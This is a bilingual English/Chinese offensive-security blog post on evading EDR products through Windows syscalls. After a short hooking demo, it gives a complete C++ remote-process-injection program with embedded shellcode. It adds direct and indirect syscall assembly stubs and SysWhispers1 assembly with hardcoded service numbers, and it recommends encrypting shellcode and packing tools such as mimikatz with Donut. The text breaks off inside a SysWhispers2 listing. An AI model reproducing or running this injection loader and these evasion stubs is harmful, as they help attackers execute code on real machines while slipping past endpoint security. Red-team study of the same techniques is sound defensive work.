EDR Evasion Techniques Using Syscalls

渗透技巧 6个月前 admin
358 0 0

EDR Evasion Techniques Using Syscalls

EDR evasion is a set of techniques that attackers use to bypass endpoint detection and response (EDR) solutions. EDR solutions are designed to monitor endpoints for malicious activity and to respond to incidents when they occur. However, attackers are constantly developing new techniques to evade EDR solutions.
EDR 逃避是攻击者用来绕过终结点检测和响应 (EDR) 解决方案的一组技术。EDR 解决方案旨在监视终端是否存在恶意活动,并在事件发生时做出响应。但是,攻击者不断开发新技术来规避EDR解决方案。

What are Windows Syscalls
什么是 Windows Syscalls

syscalls are windows internals components that provide a way for windows programmer to interact or develop the programs related to windows system . These programs can be used in ways such as accessing specific services , reading or writing to a file, creating a new process in userland, or allocating memory to programs , use cryptographic functions in your programs. But syscalls are intermidiatory when someone uses the windows api using win32. These syscalls are also called native api for windows. The majority of syscalls are not officially documented by Microsoft , Thus we relies on other thrid party documentation. gernally All syscalls returns NTSTATUS value indicate its sucess or error, but It is important to note that while some NtAPIs return NTSTATUS , they are not necessarily syscalls.
系统调用是Windows内部组件,它为Windows程序员提供了一种交互或开发与Windows系统相关的程序的方法。这些程序可以通过以下方式使用:访问特定服务,读取或写入文件,在用户空间中创建新进程,或为程序分配内存,在程序中使用加密功能。但是当有人使用 win32 使用 Windows API 时,系统调用是中间性的。这些系统调用也称为 Windows 的本机 API。大多数系统调用没有被Microsoft正式记录,因此我们依赖于其他第三方文档。所有系统调用都返回NTSTATUS值,指示其成功或错误,但重要的是要注意,虽然某些NtAPI返回NTSTATUS,但它们不一定是系统调用。

eg : NtAllocateVirtualMemory is syscalls that is actually runs under the hood when we access the functions likes VirtualAlloc or VirtualAllocEx From winapi. Here ntdll.dll File from windows plays important role, how? most of the native syscalls, which are called are from ntdll.dll file.
例如:NtAllocateVirtualMemory是当我们从winapi访问VirtualAlloc或VirtualAllocEx等功能时实际上在后台运行的系统调用。在这里ntdll.dll来自Windows的文件起着重要作用,如何?大多数调用的本机系统调用都来自 NTDLL.dll 文件。

This syscalls have more advantages over standard winapi functions. This syscalls functions from ntdll.dll provide more customizablity over the parameter passed and arguments that those functions will be acceptings , Thus provide a ways for evading host-based security solutions.
与标准 winapi 函数相比,此系统调用具有更多优势。这种从ntdll调用函数的系统调用.dll为传递的参数和这些函数将接受的参数提供了更多的可定制性,从而提供了一种规避基于主机的安全解决方案的方法。

eg : NTAllocateVirtualMemory vs VirtualAlloc in terms of arguments .
例如:NTAllocateVirtualMemory vs VirtualAlloc 在参数方面。

LPVOID VirtualAlloc( LPVOID VirtualAlloc(

[in, optional] LPVOID lpAddress,
[输入,可选]LPVOID lpAddress,

[in]                  SIZE_T dwSize,
[在]                 SIZE_T dwSize,

[in]                  DWORD  flAllocationType,
[在]                 DWORD flAllocationType,

[in]                  DWORD  flProtect
[在]                 DWORD flProtect

);

__kernel_entry NTSYSCALLAPI NTSTATUS NtAllocateVirtualMemory(
__kernel_entry NTSYSCALLAPI NTSTATUS NtAllocateVirtualMemory(

[in] [在] HANDLE 处理 ProcessHandle, 进程句柄,
[in, out] PVOID [进、出]PVOID *BaseAddress, *基址,
[in] [在] ULONG_PTR ZeroBits, 零比特,
[in, out] PSIZE_T [进、出]PSIZE_T RegionSize, 区域大小,
[in] [在] ULONG 乌龙 AllocationType, 分配类型,
[in] [在] ULONG 乌龙 Protect 保护

);

NtAllocateVirtualMemory allows you to set custom memory protection flags using the AllocationType and Protect parameters. This enables you to have more control over the protection of the allocated memory.
NtAllocateVirtualMemory 允许您使用 AllocationType 和 Protect 参数设置自定义内存保护标志。这使您能够更好地控制已分配内存的保护。

System Service Number (SSN)
系统服务编号 (SSN)

Every Syscalls has special unique number given to it called SSN , this SSN number is used by kernel to distinguish syscalls from other syscall . For example,
每个系统调用都有特殊的唯一编号,称为SSN,这个SSN号被内核用来区分系统调用和其他系统调用。例如

the NtAllocateVirtualMemory syscall will have an SSN of 24
NtAllocateVirtualMemory 系统调用的 SSN 为 24

whereas NtProtectVirtualMemory will have an SSN of 80, these numbers are what the kernel uses to differentiate NtAllocateVirtualMemory from NtProtectVirtualMemory .
而NtProtectVirtualMemory的SSN为80,这些数字是内核用来区分NtAllocateVirtualMemory和NtProtectVirtualMemory的数字。

How EDR works / How Userland Hooking implemented by EDR?
EDR 如何工作/EDR 如何实现用户空间挂钩?

EDR usually detects the malicious call from the program using Hooking Technique :
EDR通常使用钩子技术检测来自程序的恶意调用:

Userland Hooking 用户空间钩

Kernel Mode Hooking 内核模式挂钩

When we (red teamer’s) tires to execute any functions using high level WinAPI , function from ntdll.dll are indirectly triggered , The EDR applies hooks over them to detect for malicious calls.
当我们(红队员)疲倦地使用高级WinAPI执行任何功能时,来自ntdll的函数.dll被间接触发,EDR在它们上应用钩子来检测恶意调用。

For eg: By hooking the NtProtectVirtualMemory syscall, the security solution can detect higher-level WinAPI calls such as VirtualProtect , even when it is hidden from the import address table (IAT) of the binary.
例如:通过挂接NtProtectVirtualMemory系统调用,安全解决方案可以检测更高级别的WinAPI调用,例如VirtualProtect,即使它从二进制文件的导入地址表(IAT)中隐藏。

We can use ntdll functions directly by resolving their addresses from ntdll.dll but they are still hooked by EDR solutions , the way they work is that they use an instruction called syscall(64bit)/sysenter(32bit) to invoke the ntapi function and enter the kernel mode to execute that function, and EDR places its hook right before that instruction. Thus Interupting the execution flow. To overcome this problem malware developer/ Red Teamers uses SSN (system service number) and do not relies on ntdll.dll to resolve the address of the functions. to execute the functions thus potentially bypassing the hooks set up by EDR.
我们可以通过从 ntdll 解析它们的地址来直接使用 ntdll 函数.dll但它们仍然被 EDR 解决方案挂钩,它们的工作方式是它们使用名为 syscall(64bit)/sysenter(32bit) 的指令来调用 ntapi 函数并进入内核模式以执行该函数,EDR 将其钩子放在该指令之前。从而中断执行流。为了克服这个问题,恶意软件开发人员/红队使用SSN(系统服务号码),不依赖于ntdll.dll来解析功能的地址。以执行函数,从而可能绕过 EDR 设置的钩子。

EDR solutions can search any region of the memory that have execution permision for the malicious Signature. This userland hooks are placed just before the calling of syscalls instruction which is last step in exection in usermode.
EDR 解决方案可以搜索内存中具有恶意签名执行权限的任何区域。这个用户空间钩子放在调用系统调用指令之前,这是在用户模式下执行的最后一步。

Modern EDR places its hook in post-execution after the flow is transferred to the kernel . although windows other security features prevents the patching of kernel leverl memory and makes it difficult to place hook inside that. Placing kernel mode hooks may also result in stability issue and cause unexpected behavior, which is why its rarly implement usually in modern EDRs.
现代 EDR 在流传输到内核后将其钩子放在执行后。尽管 Windows 其他安全功能会阻止修补内核杠杆内存,并且很难将 Hook 放入其中。放置内核模式钩子也可能导致稳定性问题并导致意外行为,这就是为什么它通常在现代 EDR 中很少实现的原因。

Implementing mini EDR.dll for hooking syscalls
实现迷你 EDR.dll 用于挂钩系统调用

This will be our mini EDR code that will be used to place hooked on NtAllocateVirtualMemory . we will generate DLL file form this
这将是我们的迷你EDR代码,将用于挂在NtAllocateVirtualMemory上。我们将从这个生成DLL文件

#include <windows.h>

#include <iostream>

#include "detours.h"

#pragma warning(disable : 4530)

// TO COMPILE:

//cl.exe /nologo /W0 edr.cpp /MT /link /DLL detours\lib.X64\detours.lib /OUT:edr.dll

using pNtAllocateVirtualMemory = NTSTATUS(NTAPI*)(

IN HANDLE                  ProcessHandle,

IN OUT PVOID* BaseAddress,

IN ULONG_PTR            ZeroBits,

IN OUT PSIZE_T        RegionSize,

IN ULONG                    AllocationType,

IN ULONG                    Protect

);

pNtAllocateVirtualMemory myNtAllocateVirtualMemory = NULL;

NTSTATUS NTAPI HookedNtAllocateVirtualMemory(

IN HANDLE                  ProcessHandle,

IN OUT PVOID* BaseAddress,

IN ULONG_PTR            ZeroBits,

IN OUT PSIZE_T        RegionSize,

IN ULONG                    AllocationType,

IN ULONG                    Protect

){

NTSTATUS status = myNtAllocateVirtualMemory(ProcessHandle, BaseAddress,ZeroBits,RegionSize,AllocationType,Protect);

if(!ProcessHandle) return status;

std::cout << "[EDR] detected NtAllocateVirtualMemory usage on PID " << GetProcessId(ProcessHandle) << std::endl;

return status;

}

BOOL Hook(void) {

LONG err;

myNtAllocateVirtualMemory           =

(pNtAllocateVirtualMemory)GetProcAddress(GetModuleHandleW(L"ntdll.dll"),

"NtAllocateVirtualMemory");

DetourRestoreAfterWith();

DetourTransactionBegin(); DetourUpdateThread(GetCurrentThread()); DetourAttach(&(PVOID&)myNtAllocateVirtualMemory,

HookedNtAllocateVirtualMemory);

err = DetourTransactionCommit();

return TRUE;

}

BOOL UnHook(void) {

LONG err;

DetourTransactionBegin(); DetourUpdateThread(GetCurrentThread()); DetourDetach(&(PVOID&)myNtAllocateVirtualMemory,

HookedNtAllocateVirtualMemory);

err = DetourTransactionCommit();

return TRUE;

}

BOOL APIENTRY DllMain( HMODULE hModule,

DWORD  ul_reason_for_call,

LPVOID lpReserved

)

{

if (DetourIsHelperProcess()) {

return TRUE;

}

switch (ul_reason_for_call)

{

case DLL_PROCESS_ATTACH:

Hook();

std::cout << "[EDR] Hook installed." << std::endl; break;

case DLL_THREAD_ATTACH:

break;

case DLL_THREAD_DETACH:

break;

case DLL_PROCESS_DETACH:

UnHook();

std::cout << "[EDR] Hook uninstalled." << std::endl; break;

}

return TRUE;

}

we can compile it using :

cl.exe /nologo /W0 edr.cpp /MT /link /DLL detours\lib.X64\detours.lib /OUT:edr.dll

Now we have to create a malware program that will inject our shell code to remote process , but that malware program should also take this edr.dll file , which in real would be implemented by EDR solutions for hooking , here we will do it manually. for this malware we will use dynamic loading of native api ,means we will be using ntdll.dll functions by resolving its addresses on runtime and concept of remote process injection for injecting the shellcode in remote process’s memory.

Using Ntdll functions directly from ntdll.dll file by resolving addresses on Runtime for Remote Process Injection

#include <Windows.h>

#include <iostream>

#include <winternl.h>

using pNtOpenProcess = NTSTATUS(NTAPI*)(

IN PHANDLE                    ProcessHandle,

IN ACCESS_MASK            DesiredAccess,

IN OPTIONAL CLIENT_ID*ClientId );   using pNtAllocateVirtualMemory = NTSTATUS(NTAPI*)(IN HANDLEProcessHandle,// Process handle in where toallocate memory   IN OUT PVOID* BaseAddress,// The returned allocated memory's baseaddress   IN ULONG_PTRZeroBits, // Always set to '0'IN OUT PSIZE_TRegionSize,// Size of memory to allocateIN ULONGAllocationType,// MEM_COMMIT | MEM_RESERVEIN ULONGProtect // Page protection);   using pNtWriteVirtualMemory = NTSTATUS(NTAPI*)(IN HANDLEProcessHandle, IN PVOIDBaseAddress, IN PVOIDBuffer, IN SIZE_TNumberOfBytesToWrite,OUT PSIZE_TNumberOfBytesWritten);   

using pNtProtectVirtualMemory = NTSTATUS (NTAPI*)(

IN HANDLE                           ProcessHandle,                         // Process handle whose

memory protection is to be changed

IN OUT PVOID* BaseAddress,                           // Pointer to the base address to

protect

IN OUT PSIZE_T                  NumberOfBytesToProtect,       // Pointer to size of

region to protect

IN ULONG                             NewAccessProtection,             // New memory

protection to be set

OUT PULONG                        OldAccessProtection               // Pointer to a

variable that receives the previous access protection );

using pNtCreateThreadEx = NTSTATUS(NTAPI*)( OUT PHANDLE hThread,

IN ACCESS_MASK DesiredAccess,

IN PVOID ObjectAttributes,

IN HANDLE ProcessHandle,

IN PVOID lpStartAddress,

IN PVOID lpParameter,

IN ULONG Flags,

IN SIZE_T StackZeroBits,

IN SIZE_T SizeOfStackCommit,

IN SIZE_T SizeOfStackReserve,

OUT PVOID lpBytesBuffer

);

int main(int argc, char** argv)

{

std::cout << "inject edr.dll to PID '" << GetProcessId(GetCurrentProcess())

<< "' and then press any key to continue!" << std::endl; getchar();

//  shellcode to spawn a cmd.exe prompt

unsigned char buf[] =

"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"

"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"

"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"

"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"

"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"

"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"

"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"

"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"

"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"

"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"

"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"

"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"

"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"

"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"

"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"

"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"

"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"

"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"

"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"

"\xd5\x63\x6d\x64\x2e\x65\x78\x65\x00";

SIZE_T bufSize = sizeof(buf);

SIZE_T bufSize2 = bufSize; //ntallocatevirtualmemory rounds up size to 4k

DWORD pid;

HANDLE hProcess, hThread;

OBJECT_ATTRIBUTES oa;

CLIENT_ID ci;

PVOID pAllocatedMemory = NULL;

NTSTATUS status = 0x0;

ULONG                          flProtect = NULL;

SIZE_T sNumberOfBytesWritten = 0;

pNtOpenProcess myNtOpenProcess =

(pNtOpenProcess)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtOpenProcess");

pNtAllocateVirtualMemory myNtAllocateVirtualMemory = (pNtAllocateVirtualMemory)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtAllocateVirtualMemory");

pNtWriteVirtualMemory myNtWriteVirtualMemory = (pNtWriteVirtualMemory)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtWriteVirtualMemory");

pNtProtectVirtualMemory myNtProtectVirtualMemory = (pNtProtectVirtualMemory)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtProtectVirtualMemory");

pNtCreateThreadEx myNtCreateThreadEx =

(pNtCreateThreadEx)GetProcAddress(GetModuleHandleA("ntdll.dll"),

"NtCreateThreadEx");

pid = atoi(argv[1]);

InitializeObjectAttributes(&oa, NULL, 0, NULL, NULL);

ci.UniqueProcess = (PVOID)pid;

ci.UniqueThread = 0;

if (!NT_SUCCESS(status=myNtOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &oa, &ci))) {

std::cout << "Could not open process: " << status; exit(1);

}

status = myNtAllocateVirtualMemory(hProcess, &pAllocatedMemory, 0, &bufSize2, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

if (pAllocatedMemory == NULL) {

std::cout << "could not allocate memory: " << status; exit(1);

}

myNtWriteVirtualMemory(hProcess, pAllocatedMemory, buf, bufSize, &sNumberOfBytesWritten);

if (sNumberOfBytesWritten != bufSize) {

std::cout << bufSize<< std::endl;

std::cout << "could not write to allocated memory: " << sNumberOfBytesWritten;

};

status = myNtProtectVirtualMemory(hProcess, &pAllocatedMemory, &bufSize, PAGE_EXECUTE_READ, &flProtect);

if (!NT_SUCCESS(status=myNtCreateThreadEx(&hThread, 0x1FFFFF, NULL, hProcess, (LPTHREAD_START_ROUTINE)pAllocatedMemory, NULL, FALSE, NULL, NULL, NULL, NULL))) {

std::cout << "could not create remote thread: " << status; exit(1);

};

std::cout << "successfully injected to " << pid << " at virtual memory " << pAllocatedMemory << std::endl;

getchar();

}

high level breakdown of the code :
代码的高级细分:

In above code we are using Windows Native api to resolve the address of the functions in ntdll.dll files to run the program .
在上面的代码中,我们使用 Windows 本机 api 解析 ntdll.dll 文件中函数的地址以运行程序 .

The program above waits for user to attach EDR.dll file which will apply userland hooks over the program .
上面的程序等待用户附加EDR.dll文件,该文件将在程序上应用用户空间钩子。

The programs then allocate virtual memory in the remote process using NtOpenProcess and NtAllocateVirtualMemory
然后,程序使用 NtOpenProcess 和 NtAllocateVirtualMemory 在远程进程中分配虚拟内存

Program now supplies our shellcode to allocated region of remote process and give nessarry permission to execute it using NtProtectVirtualMemory
程序现在将我们的shellcode提供给远程进程的分配区域,并授予nessarry使用NtProtectVirtualMemory执行它的权限。

Then program run the shellcode using NtCreateThreadEx in context of remote process.
然后程序在远程进程的上下文中使用NtCreateThreadEx运行shellcode。

POC on How Userland Hooks in EDRs Detect syscalls
关于 EDR 中的用户空间挂钩如何检测系统调用的 POC

First we have compile our main malware program , which uses the concept of Remote Process Inject , where we have to specify the <\PID> of remote process as an argument to our malware program.
首先,我们编译了 我们的主要恶意软件程序 ,它使用的概念 远程进程注入 ,我们必须在其中指定远程进程的<\PID>作为恶意软件程序的参数。

Afte we compile our malware program from the above code , we can the program as malware.exe <pid> , here PID can be any PID for remote process injection , for the
之后我们从上面的代码编译我们的恶意软件程序,我们可以将程序作为恶意软件.exe ,这里的PID可以是任何PID进行远程进程注入,用于

demonstration purpose will will use notpad.exe pid . open the notepad in background and gets its pid.

After Running the Program with that PID , it will ask for dll to inject into the process which is actually running the malware ( here EDR_EVASION.exe )

we have to use our edr.dll file which we generate earlier , that will applies hook over usage of NtAllocateVirtualMemory

detected NTAllocateVirtualMemory
EDR HOOK INSTALLED

after sucessfully hooking our program with apropiated dll file , we will ge reponse in prompt

Now if try to run the program (press enter again) , it will gets detected by EDR.dll file , stating

Although , here we allowed remote process injection , and then unhook the dll file, but the full fldge EDR will going to stop the execution flow and never let the shellcode run !!

EDR Evasion / Evasing of EDR Hooking

There are several Techniques that we can use to Bypass EDR detection hooking , but before moving to hurestic detection bypasses , we first have to bypass static signature dection on EDR :

Static Detection Bypasses :

Encrypting Shellcode

Encoding Shellcode

The first step always comes in evasion is using great shellcode, that are not flagged by AV/EDR . the shellcode generate by various C2 are heavily flagged eg (msfvenom,sliver,convenent,mythic) , though they provide there default encryption/encoding mechanism , but thier signature are heavily flagged. so we have used our custom encryption and encoding on shellcode. While there are several tools out there , we can use https://github.com/arimaqz/strfile-encryptor . which helps in XOR Encoding and AES Encryption on shellcode ( shellcode it must be in a file in raw format)

Converting .NET assemblies to raw .bin code . Donut is a shellcode generation tool that creates x86 or x64 shellcode payloads from .NET Assemblies (eg: mimikatz.exe, covenent agents) . This shellcode may be used to inject the Assembly into arbitrary Windows processes. Given an arbitrary .NET Assembly, parameters, and an entry point (such as Program.Main), it produces position-independent shellcode that loads it from memory. The .NET Assembly can either be staged from a URL or stageless by being embedded directly in the shellcode. Either way, the .NET Assembly is encrypted with the Chaskey block cipher and a 128-bit randomly generated key. After the Assembly is loaded through the CLR, the original reference is erased from memory to deter memory scanners. The Assembly is loaded into a new Application Domain to allow for running Assemblies in disposable AppDomains.

Dynamic Detection / EDR Hooking Bypass

Direct system calls

syswhisper

hell’s gate

hallo’s gate

tartarus gate

Indirect system calls

perun’s fart

API-unhooking

Direct Syscalls

The use of Direct Syscalls allows an attacker to execute shellcode on windows operating system in such a way that the system calls is not dependent on ntdll.dll , instead this system call is passed as a stub inside PE’s(malware portable executalbe) resource section like .rsc or .txt section in form of the assembly instructions . Syscalls hooking by EDR can be Evaded by obtaining the syscall function coded in the assembly language and calling that crafted syscall directly from within the assembly file.

The point here is SSN (sysetm service number) is varies from system to system. To overcome this problem, the SSN can be either hard-coded in the assembly file or calculated dynamically during runtime.Tools suchs as syswhispers , HellsGateHallosGateTartarus gate can be ustilized in this techniques .Here is A sample crafted syscall in an assembly file ( .asm ) :

NtAllocateVirtualMemory PROC

mov r10, rcx

mov eax, (ssn of NtAllocateVirtualMemory)

syscall

ret

NtAllocateVirtualMemory ENDP

NtProtectVirtualMemory PROC

mov r10, rcx

mov eax, (ssn of NtProtectVirtualMemory)

syscall

ret

NtProtectVirtualMemory ENDP

// other syscalls …

Indirect Syscalls

The indirect syscalls are implemented in same way direct syscalls are implemented where assembly files are first manually crafted , the difference lies is that in indirect syscalls , syscalls are not used directly , instead we use jmp instruction in its assemby file to jump the function of ntddl.dll . Thus code will ultimatly will be running in address space of ntdll.dll , Thus it wont be flagged sucpicious for EDR.
间接系统调用的实现方式与直接系统调用的实现方式相同,其中汇编文件首先是手动制作的,区别在于在间接系统调用中,系统调用不直接使用,而是在其 assemby 文件中使用 jmp 指令来跳转 ntddl 的功能.dll。因此代码最终将在ntdll的地址空间中运行.dll因此它不会被标记为EDR成功。

The assembly functions for NtAllocateVirtualMemory and NtProtectVirtualMemory are :
NtAllocateVirtualMemory 和 NtProtectVirtualMemory 的汇编函数是:

NtAllocateVirtualMemory PROC

mov r10, rcx

mov eax, (ssn of NtAllocateVirtualMemory) jmp (address of a syscall instruction) ret

NtAllocateVirtualMemory ENDP

NtProtectVirtualMemory PROC

mov r10, rcx

mov eax, (ssn of NtProtectVirtualMemory)

jmp (address of a syscall instruction)

ret

NtProtectVirtualMemory ENDP

// other syscalls ...

so, in indirect syscalls we want to dynamically extract not only the SSN (service security number) , but also the memory address of the syscall instruction from ntdll.dll .
因此,在间接系统调用中,我们不仅要动态提取SSN(服务安全号),还要从NTDLL动态提取系统调用指令的内存地址.dll 。

SysWhispers 系统耳语

SysWhispers is a toolkit developed for Windows operating systems that facilitates direct syscall invocation. By directly making syscalls, developers can bypass standard API calls, which can be useful for various purposes, including low-level system manipulation and rootkit development. SysWhisper comes in three versions, each with its own set of features and capabilities.
SysWhispers 是为 Windows 操作系统开发的工具包,便于直接调用系统调用。通过直接进行系统调用,开发人员可以绕过标准 API 调用,这些调用可用于各种目的,包括低级系统操作和 rootkit 开发。SysWhisper有三个版本,每个版本都有自己的一套特性和功能。

“Why call the kernel when you can whisper?”
“当你可以窃窃私语时,为什么要打电话给内核?”

SysWhispers1:

The first version of SysWhispers laid the foundation for direct syscall invocation on Windows systems. It provided a basic understanding of how to make syscalls directly, bypassing the traditional API calls. The SSNs are retrieved from Windows System Syscall Table and hardcoded in the asm files generated by SysWhispers1:

.code

NtAllocateVirtualMemory PROC

    mov rax, gs:[60h]                         ; Load PEB into RAX.

NtAllocateVirtualMemory_Check_X_X_XXXX:           ; Check major version.

    cmp dword ptr [rax+118h], 5

    je  NtAllocateVirtualMemory_SystemCall_5_X_XXXX

    cmp dword ptr [rax+118h], 6

    je  NtAllocateVirtualMemory_Check_6_X_XXXX

    cmp dword ptr [rax+118h], 10

    je  NtAllocateVirtualMemory_Check_10_0_XXXX

    jmp NtAllocateVirtualMemory_SystemCall_Unknown

NtAllocateVirtualMemory_Check_6_X_XXXX:           ; Check minor version for Windows Vista/7/8.

    cmp dword ptr [rax+11ch], 0

    je  NtAllocateVirtualMemory_Check_6_0_XXXX

    cmp dword ptr [rax+11ch], 1

    je  NtAllocateVirtualMemory_Check_6_1_XXXX

    cmp dword ptr [rax+11ch], 2

    je  NtAllocateVirtualMemory_SystemCall_6_2_XXXX

    cmp dword ptr [rax+11ch], 3

    je  NtAllocateVirtualMemory_SystemCall_6_3_XXXX

    jmp NtAllocateVirtualMemory_SystemCall_Unknown

NtAllocateVirtualMemory_Check_6_0_XXXX:           ; Check build number for Windows Vista.

    cmp word ptr [rax+120h], 6000

    je  NtAllocateVirtualMemory_SystemCall_6_0_6000

    cmp word ptr [rax+120h], 6001

    je  NtAllocateVirtualMemory_SystemCall_6_0_6001

    cmp word ptr [rax+120h], 6002

    je  NtAllocateVirtualMemory_SystemCall_6_0_6002

    jmp NtAllocateVirtualMemory_SystemCall_Unknown

NtAllocateVirtualMemory_Check_6_1_XXXX:           ; Check build number for Windows 7.

    cmp word ptr [rax+120h], 7600

    je  NtAllocateVirtualMemory_SystemCall_6_1_7600

    cmp word ptr [rax+120h], 7601

    je  NtAllocateVirtualMemory_SystemCall_6_1_7601

    jmp NtAllocateVirtualMemory_SystemCall_Unknown

NtAllocateVirtualMemory_Check_10_0_XXXX:          ; Check build number for Windows 10.

    cmp word ptr [rax+120h], 10240

    je  NtAllocateVirtualMemory_SystemCall_10_0_10240

    cmp word ptr [rax+120h], 10586

    je  NtAllocateVirtualMemory_SystemCall_10_0_10586

    cmp word ptr [rax+120h], 14393

    je  NtAllocateVirtualMemory_SystemCall_10_0_14393

    cmp word ptr [rax+120h], 15063

    je  NtAllocateVirtualMemory_SystemCall_10_0_15063

    cmp word ptr [rax+120h], 16299

    je  NtAllocateVirtualMemory_SystemCall_10_0_16299

    cmp word ptr [rax+120h], 17134

    je  NtAllocateVirtualMemory_SystemCall_10_0_17134

    cmp word ptr [rax+120h], 17763

    je  NtAllocateVirtualMemory_SystemCall_10_0_17763

    cmp word ptr [rax+120h], 18362

    je  NtAllocateVirtualMemory_SystemCall_10_0_18362

    cmp word ptr [rax+120h], 18363

    je  NtAllocateVirtualMemory_SystemCall_10_0_18363

    cmp word ptr [rax+120h], 19041

    je  NtAllocateVirtualMemory_SystemCall_10_0_19041

    cmp word ptr [rax+120h], 19042

    je  NtAllocateVirtualMemory_SystemCall_10_0_19042

    cmp word ptr [rax+120h], 19043

    je  NtAllocateVirtualMemory_SystemCall_10_0_19043

    jmp NtAllocateVirtualMemory_SystemCall_Unknown

NtAllocateVirtualMemory_SystemCall_5_X_XXXX:      ; Windows XP and Server 2003

    mov eax, 0015h

    jmp NtAllocateVirtualMemory_Epilogue

NtAllocateVirtualMemory_SystemCall_6_0_6000:      ; Windows Vista SP0

    mov eax, 0015h

    jmp NtAllocateVirtualMemory_Epilogue

NtAllocateVirtualMemory_SystemCall_6_0_6001:      ; Windows Vista SP1 and Server 2008 SP0

    mov eax, 0015h

    jmp NtAllocateVirtualMemory_Epilogue

NtAllocateVirtualMemory_SystemCall_6_0_6002:      ; Windows Vista SP2 and Server 2008 SP2

    mov eax, 0015h

    jmp NtAllocateVirtualMemory_Epilogue

NtAllocateVirtualMemory_SystemCall_6_1_7600:      ; Windows 7 SP0

    mov eax, 0015h

    jmp NtAllocateVirtualMemory_Epilogue

NtAllocateVirtualMemory_SystemCall_6_1_7601:      ; Windows 7 SP1 and Server 2008 R2 SP0

    mov eax, 0015h

    jmp NtAllocateVirtualMemory_Epilogue

NtAllocateVirtualMemory_SystemCall_6_2_XXXX:      ; Windows 8 and Server 2012

    mov eax, 0016h

    jmp NtAllocateVirtualMemory_Epilogue

NtAllocateVirtualMemory_SystemCall_6_3_XXXX:      ; Windows 8.1 and Server 2012 R2

    mov eax, 0017h

    jmp NtAllocateVirtualMemory_Epilogue

NtAllocateVirtualMemory_SystemCall_10_0_10240:    ; Windows 10.0.10240 (1507)

    mov eax, 0018h

    jmp NtAllocateVirtualMemory_Epilogue

NtAllocateVirtualMemory_SystemCall_10_0_10586:    ; Windows 10.0.10586 (1511)

    mov eax, 0018h

    jmp NtAllocateVirtualMemory_Epilogue

NtAllocateVirtualMemory_SystemCall_10_0_14393:    ; Windows 10.0.14393 (1607)

    mov eax, 0018h

    jmp NtAllocateVirtualMemory_Epilogue

NtAllocateVirtualMemory_SystemCall_10_0_15063:    ; Windows 10.0.15063 (1703)

    mov eax, 0018h

    jmp NtAllocateVirtualMemory_Epilogue

NtAllocateVirtualMemory_SystemCall_10_0_16299:    ; Windows 10.0.16299 (1709)

    mov eax, 0018h

    jmp NtAllocateVirtualMemory_Epilogue

NtAllocateVirtualMemory_SystemCall_10_0_17134:    ; Windows 10.0.17134 (1803)

    mov eax, 0018h

    jmp NtAllocateVirtualMemory_Epilogue

NtAllocateVirtualMemory_SystemCall_10_0_17763:    ; Windows 10.0.17763 (1809)

    mov eax, 0018h

    jmp NtAllocateVirtualMemory_Epilogue

NtAllocateVirtualMemory_SystemCall_10_0_18362:    ; Windows 10.0.18362 (1903)

    mov eax, 0018h

    jmp NtAllocateVirtualMemory_Epilogue

NtAllocateVirtualMemory_SystemCall_10_0_18363:    ; Windows 10.0.18363 (1909)

    mov eax, 0018h

    jmp NtAllocateVirtualMemory_Epilogue

NtAllocateVirtualMemory_SystemCall_10_0_19041:    ; Windows 10.0.19041 (2004)

    mov eax, 0018h

    jmp NtAllocateVirtualMemory_Epilogue

NtAllocateVirtualMemory_SystemCall_10_0_19042:    ; Windows 10.0.19042 (20H2)

    mov eax, 0018h

    jmp NtAllocateVirtualMemory_Epilogue

NtAllocateVirtualMemory_SystemCall_10_0_19043:    ; Windows 10.0.19043 (21H1)

    mov eax, 0018h

    jmp NtAllocateVirtualMemory_Epilogue

NtAllocateVirtualMemory_SystemCall_Unknown:       ; Unknown/unsupported version.

    ret

NtAllocateVirtualMemory_Epilogue:

    mov r10, rcx

    syscall

    ret

NtAllocateVirtualMemory ENDP

End

As you can see, SSN values for every supported Windows version are hardcoded in the asm file.

SysWhispers2:

 The second version improved upon the original by introducing dynamic syscall resolution. This means that it could automatically identify and invoke syscalls on various Windows versions, providing a more versatile and user-friendly experience:

.data

currentHash DWORD 0

.code

EXTERN SW2_GetSyscallNumber: PROC

WhisperMain PROC

pop rax

mov [rsp+ 8], rcx          ; Save registers.

mov [rsp+16], rdx

mov [rsp+24], r8

mov [rsp+32], r9

sub rsp, 28h

mov ecx, currentHash

call SW2_GetSyscallNumber

add rsp, 28h

mov rcx, [rsp+ 8]          ; Restore registers.

mov rdx, [rsp+16]

mov r8, [rsp+24]

mov r9, [rsp+32]

mov r10, rcx

syscall                    ; Issue syscall

ret

WhisperMain ENDP

NtAllocateVirtualMemory PROC

